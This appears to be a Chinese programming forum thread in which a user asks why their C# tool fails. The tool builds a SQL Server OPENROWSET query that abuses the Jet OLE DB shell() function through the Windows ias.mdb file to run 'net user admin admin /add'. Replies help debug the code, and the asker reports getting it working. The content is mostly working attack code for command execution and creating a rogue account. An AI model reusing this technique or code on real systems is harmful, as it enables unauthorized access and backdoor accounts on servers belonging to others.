string cmd1 = "cmd.exe /c net user "+this.txtname.Text+" "+this.txtpwd.Text+" /add";
string cmd = "select shell(\"+"+cmd1+"+\")";
string str = "select * from openrowse('microsoft.jet.oledb.4.0',';database="+this.txtsystemdir.Text+"\\ias\\ias.mdb','"+cmd+"')";而我的SQL语句是:
select * from openrowse('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\\ias.mdb','select shell("cmd.exe /c net user admin admin /add")')为什么我在SQL里能运行,而在我程序里就出现了这样错误"未能对 OLE DB 提供程序 'microsoft.jet.oledb.4.0' 执行查询。\r\n[OLE/DB provider returned message: 未知]\r\nOLE DB 错误跟踪[OLE/DB Provider 'microsoft.jet.oledb.4.0' ICommandText::Execute returned 0x80040e14]。"
这个是什么意思啊? 高手帮帮忙了

解决方案 »

  1.   

    多了一个\?select * from openrowse('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin /add")')
      

  2.   

    呵呵,这个问题我也有过,问题是你用了关键字做变量,像user这样的,+对中括号如:"[user]"就没有事情了,或者吧表的字段改其他的.
      

  3.   

    谢谢 我解决了 问题是 我cmd.exe前面多了+号了